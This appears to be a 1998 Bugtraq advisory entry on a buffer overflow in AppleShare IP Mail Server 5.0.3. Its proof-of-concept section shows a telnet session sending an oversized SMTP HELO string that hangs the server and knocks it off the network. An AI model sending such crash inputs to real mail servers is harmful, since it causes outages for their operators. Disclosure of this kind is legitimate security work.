AppleShare IP Mail Server Buffer Overflow Vulnerability

BID:61

Info

AppleShare IP Mail Server Buffer Overflow Vulnerability

Bugtraq ID: 61
Class: Boundary Condition Error
CVE: CVE-1999-1015
Remote: No
Local: No
Published: Apr 07 1998 12:00AM
Updated: Jul 11 2009 12:16AM
Credit: This vulnerability was published as "AppleShare IP Mail Server" by Chris Wedgwood <[email protected]> in the BugTraq mailing list on April 8, 1998.
Vulnerable: Apple AppleShare IP Mail Server 5.0.3
+ Apple AppleShare IP 5.0.3
Not Vulnerable:

Exploit / POC

AppleShare IP Mail Server Buffer Overflow Vulnerability

$ telnet some.where
Trying 1.2.3.4...
Connected to some.where.
Escape character is '^]'.
220 some.where AppleShare IP Mail Server 5.0.3 SMTP Server Ready
HELO XXXXXXXXXXX[....several hundered of these....]XXXXXXXX
[ and it just hangs ]

$ ping some.where
[ ...nothing... ]

Solution / Fix

AppleShare IP Mail Server Buffer Overflow Vulnerability

Solution:
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References

AppleShare IP Mail Server Buffer Overflow Vulnerability

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